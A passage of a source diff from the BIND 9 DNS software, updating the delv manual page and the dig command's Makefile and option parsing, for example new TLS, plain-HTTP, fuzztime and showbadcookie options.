    This option controls whether to display the CLASS when printing a record. The
    default is to display the CLASS.
 
-``+[no]ttl``
+.. option:: +hint=FILE, +nohint
+
+   This option specifies a filename from which to load root hints;
+   this will be used to find the root name servers when name server
+   mode (``delv +ns``) is in use. If the option is not specified,
+   built-in root hints will be used.
+
+.. option:: +ns, +nons
+
+   This option toggles name server mode. When this option is in use,
+   the ``delv`` process instantiates a full recursive resolver, and uses
+   that to look up the requested query name and type. Turning on this
+   option also activates ``+mtrace``, ``+strace`` and ``+rtrace``, so that
+   every iterative query will be logged, including the full response messages
+   from each authoritatve server.  These logged messages will be written
+   to ``stdout`` rather than ``stderr`` as usual, so that the full trace
+   can be captured more easily.
+
+   This is intended to be similar to the behavior of ``dig +trace``, but
+   because it uses the same code as ``named``, it much more accurately
+   replicates the behavior of a recursive name server with a cold cache
+   that is processing a recursive query.
+
+.. option:: +qmin[=MODE], +noqmin
+
+   When used with ``+ns``, this option enables QNAME minimization mode.
+   Valid options of MODE are ``relaxed`` and ``strict``. By default,
+   QNAME minimization is disabled.  If ``+qmin`` is specified but MODE
+   is omitted, then ``relaxed`` mode will be used.
+
+.. option:: +ttl, +nottl
+
    This option controls whether to display the TTL when printing a record. The
    default is to display the TTL.
 
-``+[no]rtrace``
-   This option toggles resolver fetch logging. This reports the name and type of each
-   query sent by ``delv`` in the process of carrying out the resolution
-   and validation process, including the original query
-   and all subsequent queries to follow CNAMEs and to establish a chain
-   of trust for DNSSEC validation.
+.. option:: +rtrace, +nortrace
+
+   This option toggles resolver fetch logging. This reports the name and
+   type of each query sent by :program:`delv` in the process of carrying
+   out the resolution and validation process, including the original query
+   and all subsequent queries to follow CNAMEs and to establish a chain of
+   trust for DNSSEC validation.
 
    This is equivalent to setting the debug level to 1 in the "resolver"
    logging category. Setting the systemwide debug level to 1 using the
-   ``-d`` option produces the same output, but affects other
+   :option:`-d` option produces the same output, but affects other
    logging categories as well.
 
-``+[no]mtrace``
-   This option toggles message logging. This produces a detailed dump of the
-   responses received by ``delv`` in the process of carrying out the
-   resolution and validation process.
+.. option:: +mtrace, +nomtrace
+
+   This option toggles logging of messages received. This produces
+   a detailed dump of the responses received by :program:`delv` in the
+   process of carrying out the resolution and validation process.
 
    This is equivalent to setting the debug level to 10 for the "packets"
    module of the "resolver" logging category. Setting the systemwide
-   debug level to 10 using the ``-d`` option produces the same
+   debug level to 10 using the :option:`-d` option produces the same
    output, but affects other logging categories as well.
 
-``+[no]vtrace``
+.. option:: +strace, +nostrace
+
+   This option toggles logging of messages sent. This produces a detailed
+   dump of the queries sent by :program:`delv` in the process of carrying
+   out the resolution and validation process. Turning on this option
+   also activates ``+mtrace``.
+
+   This is equivalent to setting the debug level to 11 for the "packets"
+   module of the "resolver" logging category. Setting the systemwide
+   debug level to 11 using the :option:`-d` option produces the same
+   output, but affects other logging categories as well.
+
+.. option:: +vtrace, +novtrace
+
    This option toggles validation logging. This shows the internal process of the
    validator as it determines whether an answer is validly signed,
    unsigned, or invalid.
 
    This is equivalent to setting the debug level to 3 for the
    "validator" module of the "dnssec" logging category. Setting the
-   systemwide debug level to 3 using the ``-d`` option produces the
+   systemwide debug level to 3 using the :option:`-d` option produces the
    same output, but affects other logging categories as well.
 
-``+[no]short``
+.. option:: +short, +noshort
+
    This option toggles between verbose and terse answers. The default is to print the answer in a
    verbose form.
 
-``+[no]comments``
+.. option:: +comments, +nocomments
+
    This option toggles the display of comment lines in the output. The default is to
    print comments.
 
-``+[no]rrcomments``
+.. option:: +rrcomments, +norrcomments
+
    This option toggles the display of per-record comments in the output (for example,
    human-readable key information about DNSKEY records). The default is
    to print per-record comments.
 
-``+[no]crypto``
+.. option:: +crypto, +nocrypto
+
    This option toggles the display of cryptographic fields in DNSSEC records. The
    contents of these fields are unnecessary to debug most DNSSEC
    validation failures and removing them makes it easier to see the
@@ -275,62 +337,69 @@ assign values to options like the timeout interval. They have the form
    they are replaced by the string ``[omitted]`` or, in the DNSKEY case, the
    key ID is displayed as the replacement, e.g. ``[ key id = value ]``.
 
-``+[no]trust``
+.. option:: +trust, +notrust
+
    This option controls whether to display the trust level when printing a record.
    The default is to display the trust level.
 
-``+[no]split[=W]``
+.. option:: +split[=W], +nosplit
+
    This option splits long hex- or base64-formatted fields in resource records into
    chunks of ``W`` characters (where ``W`` is rounded up to the nearest
    multiple of 4). ``+nosplit`` or ``+split=0`` causes fields not to be
    split at all. The default is 56 characters, or 44 characters when
    multiline mode is active.
 
-``+[no]all``
-   This option sets or clears the display options ``+[no]comments``,
-   ``+[no]rrcomments``, and ``+[no]trust`` as a group.
+.. option:: +all, +noall
+
+   This option sets or clears the display options :option:`+comments`,
+   :option:`+rrcomments`, and :option:`+trust` as a group.
+
+.. option:: +multiline, +nomultiline
 
-``+[no]multiline``
    This option prints long records (such as RRSIG, DNSKEY, and SOA records) in a
    verbose multi-line format with human-readable comments. The default
    is to print each record on a single line, to facilitate machine
-   parsing of the ``delv`` output.
+   parsing of the :program:`delv` output.
 
-``+[no]dnssec``
-   This option indicates whether to display RRSIG records in the ``delv`` output.
-   The default is to do so. Note that (unlike in ``dig``) this does
+.. option:: +dnssec, +nodnssec
+
+   This option indicates whether to display RRSIG records in the :program:`delv` output.
+   The default is to do so. Note that (unlike in :iscman:`dig`) this does
    *not* control whether to request DNSSEC records or to
    validate them. DNSSEC records are always requested, and validation
-   always occurs unless suppressed by the use of ``-i`` or
-   ``+noroot``.
+   always occurs unless suppressed by the use of :option:`-i` or
+   :option:`+noroot`.
+
+.. option:: +root[=ROOT], +noroot
 
-``+[no]root[=ROOT]``
    This option indicates whether to perform conventional DNSSEC validation, and if so,
    specifies the name of a trust anchor. The default is to validate using a
    trust anchor of "." (the root zone), for which there is a built-in key. If
-   specifying a different trust anchor, then ``-a`` must be used to specify a
+   specifying a different trust anchor, then :option:`-a` must be used to specify a
    file containing the key.
 
-``+[no]tcp``
+.. option:: +tcp, +notcp
+
    This option controls whether to use TCP when sending queries. The default is to
    use UDP unless a truncated response has been received.
 
-``+[no]unknownformat``
+.. option:: +unknownformat, +nounknownformat
+
    This option prints all RDATA in unknown RR-type presentation format (:rfc:`3597`).
    The default is to print RDATA for known types in the type's
    presentation format.
 
-``+[no]yaml``
+.. option:: +yaml, +noyaml
+
    This option prints response data in YAML format.
 
 Files
 ~~~~~
 
-``/etc/bind.keys``
-
 ``/etc/resolv.conf``
 
 See Also
 ~~~~~~~~
 
-:manpage:`dig(1)`, :manpage:`named(8)`, :rfc:`4034`, :rfc:`4035`, :rfc:`4431`, :rfc:`5074`, :rfc:`5155`.
+:iscman:`dig(1) <dig>`, :iscman:`named(8) <named>`, :rfc:`4034`, :rfc:`4035`, :rfc:`4431`, :rfc:`5074`, :rfc:`5155`.
diff --git a/bin/dig/Makefile.am b/bin/dig/Makefile.am
index e130df08c1..685829f75c 100644
--- a/bin/dig/Makefile.am
+++ b/bin/dig/Makefile.am
@@ -4,23 +4,20 @@ AM_CPPFLAGS +=			\
 	$(LIBISC_CFLAGS)	\
 	$(LIBDNS_CFLAGS)	\
 	$(LIBISCCFG_CFLAGS)	\
-	$(LIBIRS_CFLAGS)	\
-	$(LIBBIND9_CFLAGS)	\
-	$(LIBIDN2_CFLAGS)
+	$(LIBIDN2_CFLAGS)	\
+	$(LIBUV_CFLAGS)
 
-LDADD =				\
+LDADD +=			\
 	libdighost.la		\
 	$(LIBISC_LIBS)		\
 	$(LIBDNS_LIBS)		\
 	$(LIBISCCFG_LIBS)	\
-	$(LIBIRS_LIBS)		\
-	$(LIBBIND9_LIBS)	\
 	$(LIBIDN2_LIBS)
 
 noinst_LTLIBRARIES = libdighost.la
 
-libdighost_la_SOURCES = \
-	dighost.h	\
+libdighost_la_SOURCES =		\
+	dighost.h		\
 	dighost.c
 
 bin_PROGRAMS = dig host nslookup
diff --git a/bin/dig/dig.c b/bin/dig/dig.c
index fbcd9737d7..54f7f81e33 100644
--- a/bin/dig/dig.c
+++ b/bin/dig/dig.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -17,18 +19,16 @@
 #include <stdlib.h>
 #include <time.h>
 
-#include <isc/app.h>
 #include <isc/attributes.h>
+#include <isc/dir.h>
+#include <isc/loop.h>
 #include <isc/netaddr.h>
 #include <isc/parseint.h>
-#include <isc/platform.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/string.h>
-#include <isc/task.h>
+#include <isc/time.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/byaddr.h>
 #include <dns/dns64.h>
 #include <dns/fixedname.h>
@@ -40,7 +40,6 @@
 #include <dns/rdataclass.h>
 #include <dns/rdataset.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/tsig.h>
 
 #include "dighost.h"
@@ -58,7 +57,7 @@
 
 dig_lookup_t *default_lookup = NULL;
 
-static atomic_uintptr_t batchname = ATOMIC_VAR_INIT(0);
+static char *batchname = NULL;
 static FILE *batchfp = NULL;
 static char *argv0;
 static int addresscount = 0;
@@ -112,7 +111,7 @@ usage(void) {
 	fprintf(stderr, "Press <Help> for complete list of options\n");
 }
 #else  /* if TARGET_OS_IPHONE */
-ISC_NORETURN static void
+noreturn static void
 usage(void);
 
 static void
@@ -124,12 +123,6 @@ usage(void) {
 }
 #endif /* if TARGET_OS_IPHONE */
 
-/*% version */
-static void
-version(void) {
-	fprintf(stderr, "DiG %s\n", PACKAGE_VERSION);
-}
-
 /*% help */
 static void
 help(void) {
@@ -211,9 +204,6 @@ help(void) {
 	       "from ipv4only.arpa)\n"
 	       "                 +[no]dnssec         (Request DNSSEC records)\n"
 	       "                 +domain=###         (Set default domainname)\n"
-	       "                 +[no]dscp[=###]     (Set the DSCP value to "
-	       "### "
-	       "[0..63])\n"
 	       "                 +[no]edns[=###]     (Set EDNS version) [0]\n"
 	       "                 +ednsflags=###      (Set EDNS flag bits)\n"
 	       "                 +[no]ednsnegotiation (Set EDNS version "
@@ -228,17 +218,20 @@ help(void) {
 	       "SERVFAIL)\n"
 	       "                 +[no]header-only    (Send query without a "
 	       "question section)\n"
-	       "                 +[no]https[=###]    (DNS over HTTPS mode) "
+	       "                 +[no]https[=###]    (DNS-over-HTTPS mode) "
 	       "[/]\n"
 	       "                 +[no]https-get      (Use GET instead of "
-	       "default POST method\n"
+	       "default POST method while using HTTPS)\n"
+	       "                 +[no]http-plain[=###]    (DNS over plain HTTP "
+	       "mode) "
+	       "[/]\n"
+	       "                 +[no]http-plain-get      (Use GET instead of "
+	       "default POST method while using plain HTTP)\n"
 	       "                 +[no]identify       (ID responders in short "
 	       "answers)\n"
 #ifdef HAVE_LIBIDN2
-	       "                 +[no]idnin          (Parse IDN names "
-	       "[default=on on tty])\n"
-	       "                 +[no]idnout         (Convert IDN response "
-	       "[default=on on tty])\n"
+	       "                 +[no]idn            (convert international "
+	       "domain names)\n"
 #endif /* ifdef HAVE_LIBIDN2 */
 	       "                 +[no]ignore         (Don't revert to TCP for "
 	       "TC responses.)\n"
@@ -247,8 +240,6 @@ help(void) {
 	       "                 +[no]keepopen       (Keep the TCP socket open "
 	       "between "
 	       "queries)\n"
-	       "                 +[no]mapped         (Allow mapped IPv4 over "
-	       "IPv6)\n"
 	       "                 +[no]multiline      (Print records in an "
 	       "expanded format)\n"
 	       "                 +ndots=###          (Set search NDOTS value)\n"
@@ -261,6 +252,8 @@ help(void) {
 	       "request)\n"
 	       "                 +padding=###        (Set padding block size "
 	       "[0])\n"
+	       "                 +qid=###            (Specify the query ID to "
+	       "use when sending queries)\n"
 	       "                 +[no]qr             (Print question before "
 	       "sending)\n"
 	       "                 +[no]question       (Control display of "
@@ -282,6 +275,7 @@ help(void) {
 	       "short\n"
 	       "                                      form of answers - global "
 	       "option)\n"
+	       "                 +[no]showbadcookie  (Show BADCOOKIE message)\n"
 	       "                 +[no]showsearch     (Search with intermediate "
 	       "results)\n"
 	       "                 +[no]split=##       (Split hex/base64 fields "
@@ -294,7 +288,15 @@ help(void) {
 	       "(+[no]tcflag))\n"
 	       "                 +[no]tcp            (TCP mode (+[no]vc))\n"
 	       "                 +timeout=###        (Set query timeout) [5]\n"
-	       "                 +[no]tls            (DNS over TLS mode)\n"
+	       "                 +[no]tls            (DNS-over-TLS mode)\n"
+	       "                 +[no]tls-ca[=file]  (Enable remote server's "
+	       "TLS certificate validation)\n"
+	       "                 +[no]tls-hostname=hostname (Explicitly set "
+	       "the expected TLS hostname)\n"
+	       "                 +[no]tls-certfile=file (Load client TLS "
+	       "certificate chain from file)\n"
+	       "                 +[no]tls-keyfile=file (Load client TLS "
+	       "private key from file)\n"
 	       "                 +[no]trace          (Trace delegation down "
 	       "from root "
 	       "[+dnssec])\n"
@@ -346,13 +348,15 @@ received(unsigned int bytes, isc_sockaddr_t *from, dig_query_t *query) {
 		} else {
 			printf(";; Query time: %ld msec\n", (long)diff / 1000);
 		}
-		if (query->lookup->tls_mode) {
+		if (dig_lookup_is_tls(query->lookup)) {
 			proto = "TLS";
 		} else if (query->lookup->https_mode) {
 			if (query->lookup->http_plain) {
-				proto = "HTTP";
+				proto = query->lookup->https_get ? "HTTP-GET"
+								 : "HTTP";
 			} else {
-				proto = "HTTPS";
+				proto = query->lookup->https_get ? "HTTPS-GET"
+								 : "HTTPS";
 			}
 		} else if (query->lookup->tcp_mode) {
 			proto = "TCP";
@@ -483,7 +487,8 @@ dns64prefix_answer(dns_message_t *msg, isc_buffer_t *buf) {
 	size_t i, count = 10;
 
 	name = dns_fixedname_initname(&fixed);
-	result = dns_name_fromstring(name, "ipv4only.arpa", 0, NULL);
+	result = dns_name_fromstring(name, "ipv4only.arpa", dns_rootname, 0,
+				     NULL);
 	check_result(result, "dns_name_fromstring");
 
 	result = dns_message_findname(msg, DNS_SECTION_ANSWER, name,
@@ -496,10 +501,12 @@ dns64prefix_answer(dns_message_t *msg, isc_buffer_t *buf) {
 	}
 
 	result = dns_dns64_findprefix(rdataset, prefix, &count);
-	if (result == ISC_R_NOTFOUND)
+	if (result == ISC_R_NOTFOUND) {
 		return (ISC_R_SUCCESS);
-	if (count > 10)
+	}
+	if (count > 10) {
 		count = 10;
+	}
 	for (i = 0; i < count; i++) {
 		result = isc_netaddr_totext(&prefix[i].addr, buf);
 		if (result != ISC_R_SUCCESS) {
@@ -569,7 +576,7 @@ short_answer(dns_message_t *msg, dns_messagetextflag_t flags, isc_buffer_t *buf,
 static bool
 isdotlocal(dns_message_t *msg) {
 	isc_result_t result;
-	static unsigned char local_ndata[] = { "\005local\0" };
+	static unsigned char local_ndata[] = { "\005local" };
 	static unsigned char local_offsets[] = { 0, 6 };
 	static dns_name_t local = DNS_NAME_INITABSOLUTE(local_ndata,
 							local_offsets);
@@ -682,7 +689,8 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 		flags |= DNS_MESSAGETEXTFLAG_NOCOMMENTS;
 	}
 	if (query->lookup->onesoa &&
-	    query->lookup->rdtype == dns_rdatatype_axfr) {
+	    query->lookup->rdtype == dns_rdatatype_axfr)
+	{
 		flags |= (query->msg_count == 0) ? DNS_MESSAGETEXTFLAG_ONESOA
 						 : DNS_MESSAGETEXTFLAG_OMITSOA;
 	}
@@ -771,7 +779,7 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 				strlcat(sockstr, "0", sizeof(sockstr));
 			}
 
-			printf("    response_address: %s\n", sockstr);
+			printf("    response_address: \"%s\"\n", sockstr);
 			printf("    response_port: %u\n", sport);
 		}
 
@@ -788,7 +796,7 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 				strlcat(sockstr, "0", sizeof(sockstr));
 			}
 
-			printf("    query_address: %s\n", sockstr);
+			printf("    query_address: \"%s\"\n", sockstr);
 			printf("    query_port: %u\n", sport);
 		}
 
@@ -909,8 +917,9 @@ printmessage(dig_query_t *query, const isc_buffer_t *msgbuf, dns_message_t *msg,
 			check_result(result, "dns_message_sectiontotext");
 		} else if (dns64prefix) {
 			result = dns64prefix_answer(msg, buf);
-			if (result == ISC_R_NOSPACE)
+			if (result == ISC_R_NOSPACE) {
 				goto buftoosmall;
+			}
 			check_result(result, "dns64prefix_answer");
 		} else {
 			result = short_answer(msg, flags, buf, query);
@@ -1018,6 +1027,128 @@ printgreeting(int argc, char **argv, dig_lookup_t *lookup) {
 	}
 }
 
+#define FULLCHECK(A)                                                 \
+	do {                                                         \
+		size_t _l = strlen(cmd);                             \
+		if (_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) \
+			goto invalid_option;                         \
+	} while (0)
+#define FULLCHECK2(A, B)                                                 \
+	do {                                                             \
+		size_t _l = strlen(cmd);                                 \
+		if ((_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) && \
+		    (_l >= sizeof(B) || strncasecmp(cmd, B, _l) != 0))   \
+			goto invalid_option;                             \
+	} while (0)
+#define FULLCHECK6(A, B, C, D, E, F)                                     \
+	do {                                                             \
+		size_t _l = strlen(cmd);                                 \
+		if ((_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) && \
+		    (_l >= sizeof(B) || strncasecmp(cmd, B, _l) != 0) && \
+		    (_l >= sizeof(C) || strncasecmp(cmd, C, _l) != 0) && \
+		    (_l >= sizeof(D) || strncasecmp(cmd, D, _l) != 0) && \
+		    (_l >= sizeof(E) || strncasecmp(cmd, E, _l) != 0) && \
+		    (_l >= sizeof(F) || strncasecmp(cmd, F, _l) != 0))   \
+			goto invalid_option;                             \
+	} while (0)
+
+static bool
+plus_tls_options(const char *cmd, const char *value, const bool state,
+		 dig_lookup_t *lookup) {
+	/*
+	 * Using TLS implies "TCP-like" mode.
+	 */
+	if (!lookup->tcp_mode_set) {
+		lookup->tcp_mode = state;
+	}
+	switch (cmd[3]) {
+	case '-':
+		/*
+		 * Assume that if any of the +tls-* options are set, then we
+		 * need to verify the remote certificate (compatibility with
+		 * kdig).
+		 */
+		if (state) {
+			lookup->tls_ca_set = state;
+		}
+		switch (cmd[4]) {
+		case 'c':
+			switch (cmd[5]) {
+			case 'a':
+				FULLCHECK("tls-ca");
+				lookup->tls_ca_set = state;
+				if (state && value != NULL) {
+					lookup->tls_ca_file =
+						isc_mem_strdup(mctx, value);
+				}
+				break;
+			case 'e':
+				FULLCHECK("tls-certfile");
+				lookup->tls_cert_file_set = state;
+				if (state) {
+					if (value != NULL && *value != '\0') {
+						lookup->tls_cert_file =
+							isc_mem_strdup(mctx,
+								       value);
+					} else {
+						fprintf(stderr,
+							";; TLS certificate "
+							"file is "
+							"not specified\n");
+						goto invalid_option;
+					}
+				}
+				break;
+			default:
+				goto invalid_option;
+			}
+			break;
+		case 'h':
+			FULLCHECK("tls-hostname");
+			lookup->tls_hostname_set = state;
+			if (state) {
+				if (value != NULL && *value != '\0') {
+					lookup->tls_hostname =
+						isc_mem_strdup(mctx, value);
+				} else {
+					fprintf(stderr, ";; TLS hostname is "
+							"not specified\n");
+					goto invalid_option;
+				}
+			}
+			break;
+		case 'k':
+			FULLCHECK("tls-keyfile");
+			lookup->tls_key_file_set = state;
+			if (state) {
+				if (value != NULL && *value != '\0') {
+					lookup->tls_key_file =
+						isc_mem_strdup(mctx, value);
+				} else {
+					fprintf(stderr,
+						";; TLS private key file is "
+						"not specified\n");
+					goto invalid_option;
+				}
+			}
+			break;
+		default:
+			goto invalid_option;
+		}
+		break;
+	case '\0':
+		FULLCHECK("tls");
+		lookup->tls_mode = state;
+		break;
+	default:
+		goto invalid_option;
+	}
+
+	return true;
+invalid_option:
+	return false;
+}
+
 /*%
  * We're not using isc_commandline_parse() here since the command line
  * syntax of dig is quite a bit different from that which can be described
@@ -1047,31 +1178,6 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 	/* parse the rest of the string */
 	value = strtok_r(NULL, "", &last);
 
-#define FULLCHECK(A)                                                 \
-	do {                                                         \
-		size_t _l = strlen(cmd);                             \
-		if (_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) \
-			goto invalid_option;                         \
-	} while (0)
-#define FULLCHECK2(A, B)                                                 \
-	do {                                                             \
-		size_t _l = strlen(cmd);                                 \
-		if ((_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) && \
-		    (_l >= sizeof(B) || strncasecmp(cmd, B, _l) != 0))   \
-			goto invalid_option;                             \
-	} while (0)
-#define FULLCHECK6(A, B, C, D, E, F)                                     \
-	do {                                                             \
-		size_t _l = strlen(cmd);                                 \
-		if ((_l >= sizeof(A) || strncasecmp(cmd, A, _l) != 0) && \
-		    (_l >= sizeof(B) || strncasecmp(cmd, B, _l) != 0) && \
-		    (_l >= sizeof(C) || strncasecmp(cmd, C, _l) != 0) && \
-		    (_l >= sizeof(D) || strncasecmp(cmd, D, _l) != 0) && \
-		    (_l >= sizeof(E) || strncasecmp(cmd, E, _l) != 0) && \
-		    (_l >= sizeof(F) || strncasecmp(cmd, F, _l) != 0))   \
-			goto invalid_option;                             \
-	} while (0)
-
 	switch (cmd[0]) {
 	case 'a':
 		switch (cmd[1]) {
@@ -1281,22 +1387,6 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			}
 			strlcpy(domainopt, value, sizeof(domainopt));
 			break;
-		case 's': /* dscp */
-			FULLCHECK("dscp");
-			if (!state) {
-				lookup->dscp = -1;
-				break;
-			}
-			if (value == NULL) {
-				goto need_value;
-			}
-			result = parse_uint(&num, value, 0x3f, "DSCP");
-			if (result != ISC_R_SUCCESS) {
-				warn("Couldn't parse DSCP value");
-				goto exit_or_usage;
-			}
-			lookup->dscp = num;
-			break;
 		default:
 			goto invalid_option;
 		}
@@ -1413,8 +1503,31 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 		}
 		break;
 	case 'f': /* fail */
-		FULLCHECK("fail");
-		lookup->servfail_stops = state;
+		switch (cmd[1]) {
+		case 'a':
+			FULLCHECK("fail");
+			lookup->servfail_stops = state;
+			break;
+		case 'u':
+			FULLCHECK("fuzztime");
+			lookup->fuzzing = state;
+			if (lookup->fuzzing) {
+				if (value == NULL) {
+					lookup->fuzztime = 0x622acce1;
+					break;
+				}
+				result = parse_uint(&num, value, 0xffffffff,
+						    "fuzztime");
+				if (result != ISC_R_SUCCESS) {
+					warn("Couldn't parse fuzztime");
+					goto exit_or_usage;
+				}
+				lookup->fuzztime = num;
+			}
+			break;
+		default:
+			goto invalid_option;
+		}
 		break;
 	case 'h':
 		switch (cmd[1]) {
@@ -1426,6 +1539,7 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			FULLCHECK6("https", "https-get", "https-post",
 				   "http-plain", "http-plain-get",
 				   "http-plain-post");
+#if HAVE_LIBNGHTTP2
 			if (lookup->https_path != NULL) {
 				isc_mem_free(mctx, lookup->https_path);
 				lookup->https_path = NULL;
@@ -1442,12 +1556,12 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 					FULLCHECK("http-plain");
 					break;
 				case '-':
-					switch (cmd[6]) {
+					switch (cmd[11]) {
 					case 'p':
-						FULLCHECK("https-plain-post");
+						FULLCHECK("http-plain-post");
 						break;
 					case 'g':
-						FULLCHECK("https-plain-get");
+						FULLCHECK("http-plain-get");
 						lookup->https_get = true;
 						break;
 					}
@@ -1480,11 +1594,22 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			}
 			if (value == NULL) {
 				lookup->https_path = isc_mem_strdup(
-					mctx, DEFAULT_HTTPS_PATH);
+					mctx, ISC_NM_HTTP_DEFAULT_PATH);
 			} else {
+				if (!isc_nm_http_path_isvalid(value)) {
+					fprintf(stderr,
+						";; The given HTTP path \"%s\" "
+						"is not "
+						"a valid absolute path\n",
+						value);
+					goto invalid_option;
+				}
 				lookup->https_path = isc_mem_strdup(mctx,
 								    value);
 			}
+#else
+			fprintf(stderr, ";; DoH support not enabled\n");
+#endif
 			break;
 		default:
 			goto invalid_option;
@@ -1492,7 +1617,7 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 		break;
 	case 'i':
 		switch (cmd[1]) {
-		case 'd': /* identify */
+		case 'd':
 			switch (cmd[2]) {
 			case 'e':
 				FULLCHECK("identify");
@@ -1500,27 +1625,28 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 				break;
 			case 'n':
 				switch (cmd[3]) {
-				case 'i':
+				case '\0':
+					FULLCHECK("idn");
+					lookup->idnin = state;
+					lookup->idnout = state;
+					break;
+				case 'i': /* (compat) */
 					FULLCHECK("idnin");
-#ifndef HAVE_LIBIDN2
-					fprintf(stderr, ";; IDN input support"
-							" not enabled\n");
-#else  /* ifndef HAVE_LIBIDN2 */
 					lookup->idnin = state;
-#endif /* ifndef HAVE_LIBIDN2 */
 					break;
-				case 'o':
+				case 'o': /* (compat) */
 					FULLCHECK("idnout");
-#ifndef HAVE_LIBIDN2
-					fprintf(stderr, ";; IDN output support"
-							" not enabled\n");
-#else  /* ifndef HAVE_LIBIDN2 */
 					lookup->idnout = state;
-#endif /* ifndef HAVE_LIBIDN2 */
 					break;
 				default:
 					goto invalid_option;
 				}
+#ifndef HAVE_LIBIDN2
+				if (state) {
+					printf(";; IDN support "
+					       "is not available\n");
+				}
+#endif /* ifndef HAVE_LIBIDN2 */
 				break;
 			default:
 				goto invalid_option;
@@ -1570,7 +1696,7 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 		switch (cmd[1]) {
 		case 'a':
 			FULLCHECK("mapped");
-			lookup->mapped = state;
+			fprintf(stderr, ";; +mapped option is deprecated");
 			break;
 		case 'u':
 			FULLCHECK("multiline");
@@ -1649,7 +1775,8 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			}
 			for (num = 0;
 			     num < sizeof(opcodetext) / sizeof(opcodetext[0]);
-			     num++) {
+			     num++)
+			{
 				if (strcasecmp(opcodetext[num], value) == 0) {
 					break;
 				}
@@ -1791,10 +1918,20 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 				}
 				break;
 			case 'w': /* showsearch */
-				FULLCHECK("showsearch");
-				if (!lookup->trace) {
-					showsearch = state;
-					usesearch = state;
+				switch (cmd[4]) {
+				case 'b':
+					FULLCHECK("showbadcookie");
+					lookup->showbadcookie = state;
+					break;
+				case 's':
+					FULLCHECK("showsearch");
+					if (!lookup->trace) {
+						showsearch = state;
+						usesearch = state;
+					}
+					break;
+				default:
+					goto invalid_option;
 				}
 				break;
 			default:
@@ -1852,7 +1989,8 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			}
 			if (!state) {
 				if (lookup->ecs_addr != NULL) {
-					isc_mem_free(mctx, lookup->ecs_addr);
+					isc_mem_put(mctx, lookup->ecs_addr,
+						    sizeof(*lookup->ecs_addr));
 					lookup->ecs_addr = NULL;
 				}
 				break;
@@ -1861,7 +1999,8 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 				lookup->edns = DEFAULT_EDNS_VERSION;
 			}
 			if (lookup->ecs_addr != NULL) {
-				isc_mem_free(mctx, lookup->ecs_addr);
+				isc_mem_put(mctx, lookup->ecs_addr,
+					    sizeof(*lookup->ecs_addr));
 				lookup->ecs_addr = NULL;
 			}
 			result = parse_netprefix(&lookup->ecs_addr, value);
@@ -1912,10 +2051,16 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 			}
 			break;
 		case 'l':
-			FULLCHECK("tls");
-			lookup->tls_mode = state;
-			if (!lookup->tcp_mode_set) {
-				lookup->tcp_mode = state;
+			switch (cmd[2]) {
+			case 's':
+				if (!plus_tls_options(cmd, value, state,
+						      lookup))
+				{
+					goto invalid_option;
+				}
+				break;
+			default:
+				goto invalid_option;
 			}
 			break;
 		case 'o':
@@ -2050,6 +2195,7 @@ plus_option(char *option, bool is_batchfile, bool *need_clone,
 
 #if !TARGET_OS_IPHONE
 exit_or_usage:
+	cleanup_openssl_refs();
 	digexit();
 #endif /* if !TARGET_OS_IPHONE */
 }
@@ -2090,7 +2236,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 				have_ipv6 = false;
 			} else {
 				fatal("can't find IPv4 networking");
-				/* NOTREACHED */
+				UNREACHABLE();
 				return (false);
 			}
 			break;
@@ -2100,7 +2246,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 				have_ipv4 = false;
 			} else {
 				fatal("can't find IPv6 networking");
-				/* NOTREACHED */
+				UNREACHABLE();
 				return (false);
 			}
 			break;
@@ -2136,7 +2282,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 			(*lookup)->use_usec = true;
 			break;
 		case 'v':
-			version();
+			printf("DiG %s\n", PACKAGE_VERSION);
 			exit(0);
 			break;
 		}
@@ -2208,7 +2354,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 		}
 		return (value_from_next);
 	case 'f':
-		atomic_store(&batchname, (uintptr_t)value);
+		batchname = value;
 		return (value_from_next);
 	case 'k':
 		strlcpy(keyfile, value, sizeof(keyfile));
@@ -2251,7 +2397,8 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 			result = dns_rdatatype_fromtext(
 				&rdtype, (isc_textregion_t *)&tr);
 			if (result == ISC_R_SUCCESS &&
-			    rdtype == dns_rdatatype_ixfr) {
+			    rdtype == dns_rdatatype_ixfr)
+			{
 				result = DNS_R_UNKNOWN;
 			}
 		}
@@ -2311,7 +2458,7 @@ dash_option(char *option, char *next, dig_lookup_t **lookup,
 			ptr = ptr2;
 			ptr2 = ptr3;
 		} else {
